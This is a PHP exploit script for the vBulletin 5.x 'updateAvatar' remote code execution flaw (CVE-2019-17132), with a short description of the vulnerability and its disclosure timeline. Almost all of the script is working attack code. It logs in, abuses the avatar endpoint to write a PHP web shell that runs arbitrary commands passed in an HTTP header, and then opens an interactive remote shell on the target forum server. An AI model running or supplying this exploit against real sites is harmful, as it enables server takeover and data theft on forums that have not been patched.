vBulletin 5.0 < 5.5.4 - 'updateAvatar' Authenticated Remote Code Execution

<?php

/*
    ---------------------------------------------------------------------
    vBulletin <= 5.5.4 (updateAvatar) Remote Code Execution Vulnerability
    ---------------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://www.vbulletin.com/
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerability Description:
      
    User input passed through the "data[extension]" and "data[filedata]" parameters to
    the "ajax/api/user/updateAvatar" endpoint is not properly validated before being used
    to update users' avatars. This can be exploited to inject and execute arbitrary PHP code.
    Successful exploitation of this vulnerability requires the "Save Avatars as Files" option
    to be enabled (disabled by default).

    [-] Disclosure timeline:
    
    [30/09/2019] - Vendor notified
    [03/10/2019] - Patch released: https://bit.ly/2OptAzI
    [04/10/2019] - CVE number assigned (CVE-2019-17132)
    [07/10/2019] - Public disclosure

*/

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[-] cURL extension required!\n");

print "+-------------------------------------------------------------------------+";
print "\n| vBulletin <= 5.5.4 (updateAvatar) Remote Code Execution Exploit by EgiX |";
print "\n+-------------------------------------------------------------------------+\n";

if ($argc != 4)
{
	print "\nUsage......: php $argv[0] <URL> <Username> <Password>\n";
	print "\nExample....: php $argv[0] http://localhost/vb/ user passwd";
	print "\nExample....: php $argv[0] https://vbulletin.com/ evil hacker\n\n";
	die();
}

list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];

$ch = curl_init();

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

print "\n[-] Logging in with username '{$user}' and password '{$pass}'\n";

curl_setopt($ch, CURLOPT_URL, $url);

if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[-] Session ID not found!\n");

curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=auth/login");
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}");

if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[-] Login failed!\n");

print "[-] Logged-in! Retrieving security token...\n";

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);

if (!preg_match('/token": "([^"]+)"/', curl_exec($ch), $token)) die("[-] Security token not found!\n");

print "[-] Uploading new avatar...\n";

$params = ["profilePhotoFile" => new CURLFile("avatar.jpeg"), "securitytoken" => $token[1]];

curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=profile/upload-profilepicture");
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_HEADER, false);

if (($path = (json_decode(curl_exec($ch)))->avatarpath) == null) die("[-] Upload failed!\n");

if (preg_match('/image\.php\?/', $path)) die("[-] Sorry, the 'Save Avatars as Files' option is disabled!\n");

print "[-] Updating avatar with PHP shell...\n";

$php_code = '<?php print("____"); passthru(base64_decode($_SERVER["HTTP_CMD"])); ?>';

$params = ["routestring" => "ajax/api/user/updateAvatar",
           "userid" => 0,
           "avatarid" => 0,
           "data[extension]" => "php",
           "data[filedata]" => $php_code,
           "securitytoken" => $token[1]];

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));

if (curl_exec($ch) !== "true") die("[-] Update failed!\n");

print "[-] Launching shell...\n";

preg_match('/(\d+)\.jpeg/', $path, $m);
$path = preg_replace('/(\d+)\.jpeg/', ($m[1]+1).".php", $path);

curl_setopt($ch, CURLOPT_URL, "{$url}core/{$path}");
curl_setopt($ch, CURLOPT_POST, false);

while(1)
{
    print "\nvb-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);
    preg_match('/____(.*)/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}